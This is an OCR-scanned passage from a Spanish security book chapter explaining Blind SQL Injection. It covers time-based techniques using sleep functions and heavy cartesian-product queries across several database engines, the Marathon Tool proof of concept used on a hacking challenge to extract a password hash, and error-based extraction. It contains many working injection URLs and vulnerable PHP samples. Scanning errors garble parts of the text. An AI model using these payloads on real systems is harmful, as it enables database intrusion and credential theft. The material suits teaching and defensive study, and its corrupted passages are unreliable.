reducir a 26 (letras) + 10 (digitos) + 5 (otros) = 41 posibles valores, representables con solo 6 bits.
En muchos casos puede ser conveniente reservar un valor mas, por si se encontrara un caracter
inesperado que, de ser necesario, podria ser determinado més adelante utilizando la codificacion
habitual de 8 bits.

Una posible codificacion seria:

Bit 5 Significado De los bits 0 a 4 son significativos:
0 Letra, Espacio.- . ( ) Todos
1 Digitos y Caracteres inesperados Del 0 al 3 (el bit 4 siempre valdra 0)

En funcion de la codificacion, puede ser conveniente reglas de dependencia a la hora de extraer los
bits mediante SQL Injection. En el ejemplo anterior, el valor del bit 4 puede depender del del bit 5
(siéste es un 1, el bit 4 serd un 0).

Desde el punto de vista de la eficacia, no tiene sentido solicitar ambos en una misma peticion. Es
preferible posponer la extraccién del bit 4 para el siguiente acceso y realizarla solo si es
estrictamente necesario.

So6lo si el bit 5 vale 0.
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De este modo, para cada fragm.ento d{fCYGIICIa(.JO de valor a extraer, se definen dos funcioneg que
guiardn el proceso de recuperacion de informacion:

- Funcion de ajuste de entropia: Transforma el espacio de valores de la variable a
determinar, de modo que sea representado con el minimo nimero de valores posibles,
Debe escribirse en SQL puesto que sera necesaria inyectarla en las peticiones a realizﬁr_

- Funcion de rearmado: Es la funcion inversa de la anterior y permite decodificar los
resultados obtenidos para recuperar la informacién original. Puede codificarse en
cualquier lenguaje de programacion, ya que formaré parte de los programas que ejecutarg
el atacante en su méquina.

Y otras dos, opcionales, que dependen del disefio de la funcién de ajuste de entropia:

- Funcién de interdependencia entre los bits de un caracter: Esta funcion toma como
entrada la posicion de un bit y retorna una lista de posiciones. Si esta lista es vacia, el
caricter debe ser extraido siempre. Si contiene uno o mas elementos, significa que, en
alguna circunstancia, a partir de estos bits se puede deducir el valor del primero.

- Funcion de célculo de bits dependientes. En funcion de los valores de los bits incluidos en
el resultado de su funcion de interdependencia, determina si un determinado bit puede ser
calculado o no sin necesidad de ser extraido de la base de datos. Si si lo es, retorna el
valor computado, que puede ser cero o uno: en caso contrario, devuelve un resultado
negativo.

En el ejemplo anterior, la funcién de reduccion de entropia podria codificarse mediante una
estructura de control “Case™. Asi, para el primer caracter de la version se tendria la siguiente
consulta:

select case
when V >= 65 and V <= 90

then V-65 -— letras
when V >= 48 and V <= 57
then 32+V-48 -- numeros
when V = 32 then 26 -— espacio
when V = 46 then 27 ==,
when Vv = 40 then 29 2 ¢
when V = 41 then 30 == 1)
when V = 45 then 31 =
else 42 -= pOr si aparece otra cosa
end

from (select ascii(upper(substr(version(),1,1))) v) T;

Considérese el siguiente script PHP almacenado en el fichero “estadisticas.php™:

itulo 111 Blind SOL Injection .

9 Time-Based Blind SQL Injection: Blind SQL Injection

completamente “a ciegas”

| <?php
include 'header.inc.php';

| // Si se indico el producto, guardar el dato

if (isset($_GET["id"])) {

[/l Determinar cantidad

6 if (isset($_GET["cantidad"])) {

$cantidad = $_GET["cantidad"];

{ } else {
« $cantidad = 1;
10 )
11 $sql = "insert into almacen.estadisticas(id,ventas)".
12 "values (" . $_GET[id"] .
13 " " $cantidad . ")";
14 ejecutar_sql($conexion,$sql);
::.1,5 echo "<h1>Proceso Terminado</h1>";
18]}
17| 7>

De nuevo existe una vulnerabilidad de tipo SQL Injection, pero esta vez el atacante no puec.le
controlar ninguna salida. Ocurra lo que ocurra con la ejecucion de la instruccion SQL, el mensaje
serd siempre el mismo. Y los avisos de error estan desactivados.

Podria parecer que, dadas las circunstancias, no va a ser posible extraer ninguna mforma(.:mn de la
Base de Datos. Que las posibilidades acaban, que no es poco, en la inyeccion de instrucciones que
afiadan, modifiquen o eliminen datos, o que ejecuten comandos en el Sistema Operativo.

Pero atn queda informacion por explotar: el comportamiento de una aplicacion tler?e. adema:f, de
sus caracteristicas funcionales (las que indican qué hace), ciertas componentes organicas, referidas
a como lo hace. Entre éstas, una de las que suelen preocupar a los usuarios es el tiempo que se

tarda en responder a una peticion.
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Aunque el script siempre muestre el mismo resultado, el atacante puede conseguir que unas veces
lo haga de inmediato y otras tras una pausa de varios segundos. Contémplese un entorno con
PostgreSQL y considérese la siguiente URL:

http://webserverl/pruebas/estadistica.php?id=1 &cantidad=4);select  case  when (1 %26

ascii(substr(version(),1,1)) =0) then pg_sleep(5) else pg_sleep(0) end--

Si el bit menos significativo del primer caricter de la salida de “version()” vale 1, la llamada a la
funcién “pg_sleep(5)” provocard un retardo de 5 segundos. En otro caso, el programa continuara
su curso normal de forma inmediata. Basta, pues, con medir los tiempos de respuesta para obtener
informacioén de la base de datos.

A este tipo de técnicas, que automatizan la extraccion de informacion a ciegas en funcion de los
tiempos de respuesta, se las conoce como Time-Based Blind SOL Injection.

Por supuesto, a la hora de elegir un tiempo de retraso, deben tenerse en cuenta los tiempos de
respuesta de la aplicacion y las latencias que introduce la red de comunicaciones. De otro mo@o,
no se podria tener certeza de que los resultados obtenidos se deben, efectivamente, al codigo
inyectado.

Una vez se determinan los intervalos a utilizar, es posible obtener mas de un bit de informacion
con una (inica peticion:

http://webserver1/pruebas/estadistica.php?id=1&cantidad=4);select case (3 %26
ascii(substr(version(),1,1)) ) when 3 then pg_sleep(15) when 2 then pg_sleep(10) when | then
pg_sleep(5) when 0 then pg_sleep(0) end--

Pero es preciso estudiar detenidamente como se codifican los bits. Por un lado porque, a mayor
numero de bits, mayores serdn los tiempos maximos de respuesta a usar, lo que puede ocasionar
problemas con los time-outs. Y, por otro, porque tratando de ganar en eficiencia quiza se obtenga
el resultado opuesto.

En la peticion anterior, y si se obvian las latencias introducidas por la red y los tiempos d§ proceso,
se puede esperar un tiempo medio de (15+10+5+0) / 4 = 7.5 segundos para obtener dos bits en una
unica peticion. 3,75 segundos por bit. Compérese con el tiempo que corresponderia a un acceso
que recupere un solo bit: (5 +0) /2 = 2.5 segundos.

Si el script responde pricticamente de inmediato y las comunicaciones no introducen retardos
relevantes, es preferible ir bit a bit, A no ser que sea muy importante reducir el nimero de accesos,
claro.

Aunque anteriormente se ha utilizado una Base de Datos PosrgreSQL, otros gestores proporcionan
funcionalidades similares. Asi, en SOL Server se puede usar la construccion “waitfor delay™:

http://servidor/prog.cod?id=1; if (exists(SELECT * FROM contrasena)) waitfor delay '0:0:5'--j

Capitulo 111, Blind SOL Injection m

... 0,en ORACLE, “dbms_lock.sleep™:

@m:a’fser\ridorfprog.cnd?id'—-l: begin if (condicion) then dbms_lock.sleep(5); end if: end;

..o 0, en MySQL, “benchmark”, que suele tardar unos 6 segundos en ejecutarse, o también, a partir
de la version 5, otra funcién que parece hecha a medida para aplicarla a esta técnica: “sleep”.

http://servidor/prog.cod?id=1 and  exists(SELECT *  FROM  contrasena)  and
benchmark(5000000,md5(rand()))=0

http://servidor/prog.cod?id=1 and exists(SELECT * FROM contrasena) and sleep(5)

En todo caso, no siempre es posible inyectar este tipo de instrucciones. ORACLE, por ejemplo, no
soporta las consultas apiladas, por lo que podria ser necesario que la aplicacion construyera un
bloque PL/SQL a partir de los datos de entrada para que el codigo anterior sea correcto. Y eso
puede no ser tan frecuente como el atacante desearia. En el siguiente capitulo se mostraran algunas
técnicas para evitar estos inconvenientes.

Por otro lado, los sistemas de fortificacion de servidores suelen imponer restricciones al uso de
funciones Benchmark en entornos MySQL vy waitfor en entornos Microsofi SOL Server porque
pueden ser usados en ataques de denegacion de servicio.

Y, por si todo esto fuera poco, algunos gestores de Bases de Datos, como Access o DB2 | ni
siquiera disponen de funciones similares.

9.1.Time-Based Blind SQL Injection utilizando Heavy Queries

Pero, aun cuando no se pueda utilizar una funcién, o una clausula, que permita generar retardos, el
uso de técnicas basadas en tiempos sigue siendo posible. Hay otras formas de conseguir que un
servidor tarde mucho en responder.

Supongamos una consulta SELECT como la siguiente:

@ELECT campos FROM tablas WHERE condicién_1 and condicién_2:

En este caso, al utilizar una condicion AND, si la primera condicion que se evalia produce un
valor FALSO el motor ya no necesita evaluar la otra. De haberse tratado de un operador OR, el
funcionamiento habria sido el contrario: si la primera condicion fuera cierta, la segunda condicién
Ya no seria relevante,

El orden en que se realizan los calculos puede variar segin el motor de bases de datos. En algunos
se establece un orden de precedencia fijo que determina si las condiciones se comprueban de
izquierda a derecha o de derecha a izquierda, haciendo recaer sobre el programador la
responsabilidad de optimizar sus consultas.
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Otros, como Microsoft SOL Server u Oracle, implementan optimizacion de consultas en 1i3mp0d
¢jecucion, analizando de forma automdtica las condiciones especificadas por ¢l programag, y
estimando el orden de ejecucion “correcto”,

Sea como fuere, una vez conocido el orden en que se procesan las condiciones, es posible iNyectyy
expresiones que tarden tiempo en ejecutarse y condicionar su evaluacion a que se cumply
determinado requisito. A que una expresion, cuyo valor se desea conocer, se evaltie a TRUE,

Siempre se ha pensado que construir programas ineficientes es propio de un mal desarrollador y
que las consultas pesadas, aquellas que sobrecargan el gestor de Bases de Datos son un problemg
Pero, a estas alturas, forman parte de la solucion.

Al menos para el atacante.

Una forma sencilla de construir consultas pesadas en PosgreSQL es usar la funcién
“generate_series()” para generar un elevado niimero de filas:

select count(*) from generate_series(1, 4000000) |

En las pruebas realizadas, esta instruccion tardd unos 5 segundos en completarse, si bien este valor
depende de la potencia y configuracion del servidor. En todo caso, se trata de un comportamiento
que puede ser aplicado para poner en practica las técnicas de Time-Based Blind SQL Injection.

Considérese el siguiente ejemplo:

http:ffwebservcr]!pruebasfestadistica.php‘?id=]&cantidad=4);selcct (ascii(substr(version(),1,1))
%26 1)>0 and
(select count(*) from generate_series(1,4000000))=S --

Si el bit menos significativo del primer cardcter de la cadena retornada por “version()” vale 1, sera
necesario evaluar la segunda condicién, que conlleva la ejecucion de una consulta pesada. Como
resultado, el tiempo de respuesta serd de varios segundos. En caso contrario, la respuesta se
recibira tan pronto como lo permitan las latencias de la red de comunicaciones.

Otra técnica para sobrecargar los motores de bases de datos consiste en introducir productos
cartesianos de relaciones y consultas, como en:

Flect count (*) from pg attribute a, pg_tables b, pg tables c, pPg_user ﬂ

Notese que se han usado tablas pertenecientes al catilogo de la base de datos, cuyo nombre es
conocido a priori y téngase en cuenta que los tiempos de espera introducidos podran variar
dependiendo del nimero de filas de éstas. Para conseguir unos resultados Optimos puede ser
conveniente, por un lado, realizar varias pruebas y mediciones previas y, por otro, combinar
relaciones con muchos registros con otras que estén formadas por s6lo unos pocos.

: Wscrverl;’pruebasfestadistica‘php'?id=l&cantidad=1) :
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Microsoft SOL Server también puede aplicarse técnicas similares, si bien las funciones )(; l'a
;Eﬂt xis son distintas. Para generar una secuencia de un nimero determinado de filas, podria
sintd

Erearse una URL como la siguiente:

ITH q (num) AS (
“g;ELECT 1 UNION ALL SELECT num %2b 1

ROM q _ ) .
EMHERE num < 100000 and ascii(substring(@@VERSION,1,1)) %26 2> 0

) SELECT COUNT(*) FROM q OPTION (MAXRECURSION 0)--

2 = s e ” L 7S ;k+“ ‘-%26!1 ara
Donde, como viene siendo habitual, se usa “%2b” para codificar el car.acFer d, y Ondigi{m
“&”. De nuevo, el tiempo de respuesta queda condicionado por el cumplimiento de una ¢

(subrayada en el ejemplo).
Y, como ocurria con PostgreSQL, también es posible recurrir a productos cartesianos de tablas

conocidas:

http://webserver1/pruebas/estadistica.php?id=1&cantidad=case
when ascii(substring(@@VERSION,1,1)) %26 1 > 0
and 1=(select COUNT(*) from sysusers a, sysusers b, SySusers c, sysusers d,
sysusers e, sysusers f, sysusers g,(select 10 as h union select 1) 1)  then |
else 2
end

Como puede observarse, se ha usado una consulta de dos filas, “(select 10 as h.m;]on select l)o.
Sin ella, los retardos introducidos eran algo superiores a los dos segundos, demasia 19 cm:tps ti‘aom
para distinguirlos claramente de las latencias de red y tiempos de respuesta de' la ’iljp icacion. erdoé
si se hubiera puesto en su lugar otra tabla con mas registros, el resultado habria sido un tiempo

espera demasiado largo.

Otra conclusién que puede sacarse del ejemplo anterior es que no es I?ecesarjif) recurrir siempre a
apilar consultas. Y esto es bueno, porque muchas veces no va a ser posible utilizarlas. Puede llegar
a ser el caso si el gestor de bases de datos utilizado es Oracle:

| http://webserver/pruebas/estadistica.php?id=1 &Cantidad=c.ase
when (select bitand(1,ascii(substr(version,1,1))) from vSinstance) >0
and (select count(*) from (select level from dual connect by level<=40000) cl,
(select level from dual connect by level <=2000) ¢2) = 1

then | else 22 end
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En este caso, ha sido necesario realizar un producto cartesiano entre dos consultas puesto que, g

especifica un valor numérico demaisado alto en la comparacion “level<=", el sistema puegje ;
: 2 : . 3 n

disponer de suficiente memoria para satisfacer las demandas de la clausula “connect by 2

o . Si
prefiere, también es posible usar tablas del esquema de la base de datos: '

http://webserver|/pruebas/estadistica.php?id=1&cantidad=case
when (select bitand(1,ascii(substr(version, 1,1 ))) from vSinstance) > 0
and (select count(*) from all_tables, all_users ul, all_users u2,
(select level from dual connect by level<4) ¢) = |

then 1 else 22 end

Con MySQL, sin embargo, no hay tantas opciones, ya que no existe una forma sencilla de generar
una consulta con un elevado nimero de filas sino es a partir de una relacién o una consulta, Pero
siempre se puede recurrir al esquema:

hllp:!!webserverlfpruebasr‘estadistica.php?id=l&camidad=case
when ascii(substring(version(), 1,1)) %26 1 >0
and 1=(select COUNT(*) from information_schema.columns a,
information_schema.columns b,
information_schema.tables Cy
(select 1 union select 2 union select 3)d)

Para acabar este epigrafe, se tratard sobre un motor de bases de datos que, pese a no estar disefiado
especialmente para ello, es usado con cierta frecuencia como soporte a aplicaciones web:
Microsofi Access. Como ocurre con MySQOL, Access carece de funciones de retardo de tiempo,
pero si posee un pequefio diccionario de datos. Asi, en MS Access 97 y MS Access 2000 es posible
acceder a la tabla MSysAdccessObjects, mientras que en las versiones 2003 y 2007 se tiene la tabla
MSysAccessStorage. Ambas pueden utilizarse para generar consultas pesadas del tipo:

SELECT count(*) FROM MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage
t3, MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6

EI método funciona de forma similar en la practica totalidad de los motores de bases de datos yla
idea es bien sencilla: hacer trabajar al sistema al limite usando técnicas de anti-optimizacion.

9.2.Marathon Tool

M{zmmon Tool nacié como una prueba de concepto de la técnica de Time-Based Blind SOL
Injection mediante Consultas Pesadas. Atn en fase de desarrollo alpha, es sin embargo

w
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ompletamente funcional en diversos entornos, estando preparada para los Sistemas Gestores de
%ascS de Datos Microsoft SOL Server, Oracle, MySOL, Microsoft y Access 97/2000/2003/200.

pesarrollada en .NET utilizando Visual Basic, su funcionamiento es muy similar al de otras

herramientas mencionadas anteriormente: tras una adecuada configuracion, en primer lugar, se
.exrrae la informacion sobre el usuario utilizado para acceder a la base de datos, asi como sobre ¢l
esquema de ésta. Esto, si no se trata de un motor de base de datos Microsoft ..4 ceess, puesto que en
este caso, debido a las carencias del diccionario de datos, es necesario especificar manualmente la
tabla y la columna de la que se quieren extraer la informacion. Y, una vez se cuenta con toda la

informacion necesaria, se pueden obtener los datos contenidos en las tablas.

La herramienta cuenta con un sistema de logs que permite distintos niveles de detalle. Si se
selecciona el nivel 90 se vera, por ejemplo, un resumen de lo que la aplicacion esta realizando, y si
se selecciona el nivel 100 se verdn todas y cada una de las peticiones al servidor web;

107:37
107:37
:07:37
:D7:38
:07:38
:07:38
:07:39
:07:39
:07:39
:07:40
:07:40
:07:40
:07:41
:07:41
107:41
:07:42
:07:42
107:42
107:42
:107:43
:07:43
:07:43
07:44
:07:44

Configuration | Database schema  Debuglog
Verbosity level 100 v

HTTP GET htop://blind.elladodelnal.

IsTrue MN=1 T=210 (SELECT COUNT(*™)

HTTP GET htop://blind. elladodelnal.
HTTP GET hoep://blind.elladodelnal,

IsTrue HN=1 T=2Z56 (SELECT COUNT(*)

HTTP GET huop://blind.elladodelmal,
HTTP GET htop://blind. elladodelmal,

IsTrue N=1 T=206 (SELECT COUNT(*)

HTTP GET hcop://blind.elladodelmal.
HTTP GET http://blind.elladodelmal.

IsTrue H=1 T=198 (SELECT COUNT(*)

HTTP GET http://blind.elladodalmal.
HTTP GET http://blind.elladodelmal.

IsTrue N=1 T=197 (SELECT COUNT(*)

HTTP GET http://blind.elladodelmal.
HTTP GET htep://blind.elladodelmnal.

IsTrue N=1 T=194 (SELECT COUNT(*™)

HTTP GET http://blind.elladodelmal.
HTITP GET htep://blind.elladodelnal.

IsTrue N=1 T=178¢ (SELECT COUNT(*)

HTTP GET htep://blind. elladodelmal.
HTTP GET heep://blind.elladodelnal.

IsTrue N=sl T=159 (SELECT COUNT(*)

HTTP GET htop://blind.elladodelmal,

con/sqlZ005/pista. aspx?id_pis A
FROM sysobjects WHERE xtype=c
con/sql200S/pista. aspx?id pis
com/sqlZ005/pista. aspx?id pis
FROM sysobjects WHERE xtype=c
con/sql2005/pista. aspx?id_pis
con/sqlZ005/pista. aspx?id pis
FROM sysobjects WHERE xtype=c
con/sql2005/pista.aspx?id_pis
com/sqlZ005/pista.aspx?id pis
FROH sysobjects WHERE xtype=c
com/sqlZ005/pista.aspx?id pis
com/sql2005/pista. aspx?id_pis
FROM sysobjects WHERE xtype=c
com/sql2005/pista. aspx?id_pis
com/sg12005/pista. aspx?id pis
FROM syscbjects WHERE xtype=c
con/sql2005/pista. aspx?id pis
con/sqlZ005/pista. aspx?id_pis
FROM sysobjects WHERE xcypes=c
con/sql2005/pista. aspx?id_pis
com/sql2005/pista. aspu?id_pis
FROM sysobjects WHERE xtypesc
com/sql200S/pista.aspu?id pis

Fig 3.18: Sistema de Logs

En estos momentos, este programa es gestionado por Alejandro Martin y esta publicado, junto con
su codigo fuente, en Codeplex: htip://marathontool.codeplex.com/
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9.3.Reto Hacking I con Marathon Tool

Fue allad por finales del 2006 cuando sali6 el “Reto Hacking I de Informatica64, disponible en:
http:/twww.informatica64.com/retohacking/. Se trata de una prueba disefiada para ser superada con
la aplicacion de técnicas de Blind SOL Injection en base a patrones. La siguiente direccion URL eg
la vulnerable: hittp://www.informatica64.com/retohacking/pista.aspx?id _pista=1

Para el parametro GET “id pista™ son posibles dos valores: 1 y 2. Cada uno proporciona una
pagina de resultado distinta y en caso de que se introduzca un valor erroneo o de que la consulta no
proporcione ningan valor, se muestra siempre la pagina correspondiente a “id_pista=1".

De este modo, se pueden realizar comprobaciones inyectando condiciones del tipo

‘http:ﬁwww‘informatica64.comfretohacking!pista.aspx‘?id__pista=2 and 1=1 |

... que muestra la pista nimero 2, o

[http:r’a’www.informatica@.comf’rctohacking!pista.aspx?id_pista=2 and 1=2 |

... que muestra la nimero 1.

Para aprovechar esta vulnerabilidad, es necesario “adivinar” que se estaba usando Microsoft
Access y que hay una tabla llamada “Contrasena”, con una columna de nombre “Confrasena”.
Pero... para eso estan las pistas. Quien desee conocer los detalles de este reto puede leer la solucion
que le dio Daniel Kachakil en la siguiente direccion:

l http://www.elladodelmal.com/2007/01/solucin-al-1er-reto-hacking-web-por.html J

Pero... ;Y si no existiera la pista 2? ;Si solo hubiera una Unica pista y siempre se produjera la
misma respuesta? La vulnerabilidad seguiria existiendo, pero no seria explotable con técnicas de
Blind SQL Injection clasicas. Un trabajo para las consultas pesadas... y Marathon Tool. Para

empezar, se puede comprobar que es posible realizar la inyecciéon comparando los resultados ante
la URL

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1

and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as 2,
MSysAccessObjects as t3, MSysAccessObjects as t4,
MSysAccessObjects as t5, MSysAccessObjects as t6,
MSysAccessObjects as t7, MSysAccessObjects as t8,
MSysAccessObjects as t9, MSysAccessObjects as t10)=0

and exists (select Contrasena from Contrasena)

... que tarda alrededor de 6 segundos en completarse, indicando que la condicion “exists (select
Contrasena from Contrasena)” es cierta, y:
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Wﬁwww.informatica64.com;’rcmhacking/pista.aspx?id_pista=l

and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2,
MSysAccessObjects as t3, MSysAccessObjects as t4,
MSysAccessObjects as t5, MSysAccessObjects as t6,
MSysAccessObjects as t7, MSysAccessObjects as t8,
MSysAccessObjects as t9, MSysAccessObjects as t10)=0

and NOT exists (select Contrasena from Contrasena)

... que obtiene respuesta en poco més de un segundo, puesto que la condicion final es falsa.

Como puede observarse, se ha supuesto inicialmente que se trata de Microsofi Access 2000, y por
tanto se ha utilizado la tabla MSysAccessObjects. En principio no se dispone de informacion que
corrobore o contradiga esta asuncion, pero el hecho de que se reciba una respuesta positiva, de que
haya diferencias en los tiempos de respuesta, confirma que era acertada.

Bazc configuation

|

Database engrie: i : @ Get O Post 550 |
Target base UAL: “HIchwww.irionnaﬁcm.cm!;et—oﬁacﬁhg}mtiamx -
b | Cookies | Auhenlcation | Proy _ _ 2
Name Walue 3 =1 Ir‘edabh |

|

id_pista

Stact ingection with: End injection with: |

Injection options

Min heavy query time: 4500 ms Repeat tests count: 2

HTTP request timeout SEWE ms Min. jairs for quenes: 3&

Pause alter heavy quens 5000 = me Max. joins for quanes: 1554 .
] Pause after any queny: 250 =4 ms [ Enable equal sign in selects |

Heavy queries tables: mysaccessobects

Start ingechon

l Get schema Gat user

Fig 3.19: ConFigeion Access 2000 para Reto Hacking |
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De no haber sido éste el caso, se deberfa haber comprobado si funcionaba sustituyendo la tabla

MSysAccessObjects por MSysAccessStorage, la correspondiente a Microsoft Access 2003 y
posteriores.

Llegado este momento, se puede configurar Marathon Tool tal y como se muestra en la anterior
imagen.

Da{.f]as las peculiaridades del método de extraccion de datos basado en tiempos, es necesario ajustar
varios parametros para conseguir un buen rendimiento. El primero y més llamativo es la diferencia
de tiempo de respuesta que debe existir entre una consulta Falsa y una consulta Verdadera. La
aplicacion usa este valor para ir afladiendo apariciones de la tabla seleccionada a la consulta
pesada hasta conseguir el retardo deseado. El resto de los parametros son, a estas alturas, bastante
sencillos de entender: las pausas entre consultas, la pausa después de ejecutarse una consulta
pesada (un valor TRUE), el nimero de tablas a probar, el time-out, etc

Cuando se selecciona un motor de bases de datos, el campo de texto “Heavy Queries Tables” se
rellena automaticamente con unos valores por defecto. Pero, como puede observarse, este valor es
editable y se puede utilizar cualquier tabla conocida o adivinada.

A continuacion se debe indicar la tabla y la columna a extraer. Este paso es obligatorio en las bases
de datos Microsoft Access, que no disponen de un diccionario de datos completo:

i R

| Configuration || Databa:

Data to extract

Table Name: Contrasena
| Get data |
i Colurnn Mame: Cortrasena I
Information

Records Found:

| |
Data: ‘

Fig 3.20: ConFigcion de Tabla y columna

Una vez completada la configuracién, basta con hacer clic sobre el botén “Ger data” y Marathon
Tool se pone a trabajar.

Solo. queda esperar. Comprobando el log, se apreciara como en primer lugar se determina la
longitud del dato deseado, en este caso 32 caracteres, y como prosiguen los accesos para obtener
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toda la informacién. Al final, los datos aparecerdn en la pestafia “Database data”. Una hash que
habra que romper. Elegir el método apropiado, ya sea por fuerza bruta, ensayo y error, tablas
rainbow, buscadores en Internet, ataques de diccionario o cualquier otra técnica que pueda
concebirse, es algo que queda fuera del alcance de este libro. ..

_Cr:y;@i_g_qraﬁon i Dat:ﬂ;s_e_lﬂ-da !Tw

|
16:00:51 IsTrue HN=1 T=138 (Select countc(*} from Contrasenal>7 --> False B
16:00:51 TIsTrue N=1 T=112 (Select count(*) from Concrasena)>& --> False

16:00:52 IsTrue N=1 T=133 (Select count(*) from Contrasena)*5 --» False

16:00:52 IsTrue N=1 T=156 (Select count(*) from Contrasena)>4 --> False

16:00:54 IsTrue N=1 T=128 (Select count(*) from Contrasena)*3 =-=-> False |
16:00:54 IsTrue N=l T=116 (Select count(*) from Contrasena)>Z --> False

16:00:55 IsTrue N=1 T=170 (Select count(*) from Contrasena)>l --> False

|16:01:26 IsTrue M=l T=103%2 {(Select count(*) from Contrasena)}>0 --> True

116:01:26 Value found Select count{™) from Contrasena --> 1

16:01:26 ** Table = Contrasena; Records: 1

16:01:26 FindWumericValue select Top 1 Len(Contrasena) from Contrasena order by Contrasena (0 to 200}

16:01:27 Initializing TBL=msysaccessobjects N=3 Rs0 T=4 Q=select Top Len{Contrasena) from Contrasena order by
16:01:28 Initializing TBL=msysaccesscbjects N=3 R=1 T=4 Q=select Top Len(Contrasena) from Contrasena order by
16:01:28 Initializing TBL=msysaccessobjects N=4 R=0 T=4 (=select Top Len(Contrasena) from Contrasena order by
16:01:2% Initializing TBL=msysaccessobjects N=4 R=1 T=4 (Q=select Top 1 Len(Contrasena) from Contrasena order by
16:01:30 Initiamlizing TBL=msysaccesscbjects N=5 R=0 T=4 Q(=select Top Leni{Contrasena) from Contrasena order by
16:01:31 Initializing TBL=msysaccessobjects N=5 R=1 T=4 Q=select Top Len(Contrasena) from Contrasena order by
16:01:31 Initializing TBL=msysaccessobjects N=& Re0 T=4 Q=select Top Len{Contrasena) from Contrasena order by|
16:01:32 Initializing TBL=msysaccessobjects MN=6 R=1 T=4 Q=select Top LeniContrasena) from Contrasena order by
16:01:33 Initializing TBlL=msysaccesscbjects N=7 Rel T=4 (Q=select Top Len{Contrasena) from Contrasena order by
16:01:34 Initializing TBL=msysaccesscbjects HN=7 R=1 T=4 Q=select Top Len{Contrasena} from Contrasena order by
|16:01:36 Initializing TBL=msysaccesscbjects N=B k=0 T=4 (=select Top Len{Contrasena) from Contrasena order by !
16:01:37 Initializing TBL=msysaccessobjects N=8 F=1 T=4 Q=select Top Len{Contrasena) from Contrasena order by
16:01:42 Initializing TBL=msysaccessobjects Ne5 R=0 T=4 CQ=select Top Len{Contrasena) from Contrasena order by
16:01:47 Initializing TBLemsysaccessobjects N=3 RB=1 T=4 Q(=select Top Len{Contrasena) from Contrasena order by
16:02:18 Initializing TBEL=msysaccesscbjects N=l10 R=0 T=4 QO=select Top 1 Leni{Contrasena) from Contrasena order k
16:02:20 IsTrue N=l T=276 (select Top 1 Len(Contrasena) from Contrasena order by Contrasena)>100 --> False ;
| 16:02:20 IsTrue N=1 T=136 (select Top 1 Len(Contrasena) from Contrasena order by Contrasens}»50 —-> False
| 16:02:51 IsTrue N=1 T=10417 (szelect Top 1l Len{Contrasena) from Contrasena order by Contrasena)*Z§ --» True
]I 16:02:52 IsTrue N=1 T=142 (select Top 1l Len(Contrasensa) from Contrasena order by Contrasena)>37 --> False
| 16:02:53 IsTrue N=1 T=2é4 (select Top Len{Contrasena) from Contrasena order by Contrasena)>36 --> False
| 16:02:54 IsTrue MN=1 T=315 (select Top Len{Contrasena) from Contrasena order by Contrasena)>35 —-> False
| 16:02:55 IsTrue N=1 T=290 (select Top Len{Contrasena) froa Contrasena order by Contrasena)>34 --» False
i 16:02:57 IsTrue N=1 T=362 (select Top Len(Contrasena) from Contrasena order by Concrasena)>33 --> False
| |16:02:58 IsTrue N=1 T=236 (szelect Top 1l Len({Contrasena) from Contrasena order by Contrasena)>3Z --> False
i 16:03:29 IsTrue M=l T=10515 (select Top 1 Len(Contrasena) from Comtrasena order by Contrasena)>31 --»> True
| |16:03:25 Value found select Top 1 Len{Contrasena) from Contrasena ordar by Contrasena --* 32 (
| |16:03:2% ** Length record 1 = 32
| |16:03:29 FindNumericValue select Top ! Ascimid{Contrasena,l,l)) from Contrasena order by Contrasena (0 to 200) 4l |
| 16:03:30 TInitializing TBL=msysaccessobjects N=3 R=0 T=4 Q=select Top 1l Ascimid{Contrasena,l,l)) from Contrasenz|
16:03:3) Initializing TBL=msysaccessobjects N=3 R=1 T=4 Q=select Top 1l Asc(midi{Contrasena,l,l)) from Concnsami_.
| [ |

Vetbasity levet | 90 L{,

(o o o o o o o ol o

1
L
1
1
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Fig 3.21: Marathon Tool

10. Blind SQL Injection basada en errores

En el capitulo 1 se mostré como, cuando la configuracion del servidor web, o de la propia
aplicacion, permite que ésta muestre mensajes de error de forma incontrolada, el atacante puede
aprovecharlo para extraer informacion,

Aunque los distintos entornos de ejecucion suelen permitir desactivar los mensajes de error, el
desarrollador rara vez conoce a ciencia cierta donde y como va a terminar siendo usada su
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aplicacion. Los entornos pueden cambiar, el codigo puede ser reutilizado
. - . . 2
instaladas en diversos centros y organizaciones... Todo ello hace necesario
gestione adecuadamente las condiciones de excepcion.

las z.iphcaciones
que el propio programg

Pero controlar la informacién que se muestra en caso de error puede no ser suficiente si existe

v‘ulnerabilidad de tipo SOL Injection. De hecho, si no se hace de forma correcta, puede agra 'lln_a
situacion o facilitar el trabajo al atacante. Para realizar una simulacion, supén;_{ase uegel VdT_ .
“estadisticas.php” del apartado anterior utiliza una base de datos MySQL y modiﬁqug‘;e arSCFIpt
reporte los errores de ejecucion de las instrucciones SQL con un sucinto mensaje: e

1|<?php

2 | include 'header.inc.php";

3 | // Si se indicé el producto, guardar el dato

4 | if (isset($_GET["id"])) {

5 /I Determinar cantidad

6 if (isset($_GET["cantidad"])) {

7/ $cantidad = $_GET["cantidad"];

8 }else {

9 $cantidad = 1;
10 }
11 $sql = "insert into almacen.estadisticas(id.ventas)".
12 " values (". $_GET[id"] .
13 "," . $cantidad . ")";
14 ejecutar_sgl($conexion $sql);
15 | if (mysql_errno()) {echo "Error al almacenar los datos<br>";}
16 echo "<h1>Proceso Terminado</h1 >
17 |}
18| 7>

i

La linea 15 realiza esta tarea. Como puede observarse, el texto del mensaje es siempre el mismo,

o] : : co
o 0 que no se pu?de alterar para que muestre ninguna informacion atil, Pero su mera presencia
indica que hubo algin problema a la hora de ejecutar el cédigo SQL.

Y el atacante puede hacer que

S¢ genere un error solo si se cumple una condicié idé
s 72 ondicién. Cons S
siguiente URL; = Considérese la

http://webserver | /pruebas/estadistica.php?id= i i
: a -php?id=case when ascii(substr(vers
(select 1 union select 2) else 2 end : oD e J
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El parametro “id” deberia recibir un valor entero. Pero el que suministra el atacante viene dado por
una estructura condicional “case” que, en caso de que sea cierto que el primer caracter de
«yersion()” tiene un valor ASCII inferior a 128, resultard en una relacion con dos elementos:

select 1 union select 2

..., lo cual generara un error en la practica totalidad de los motores de bases de datos. Pero, si esa
condicion es falsa, retornard un valor numérico (2) que permitird al programa proseguir con
normalidad.

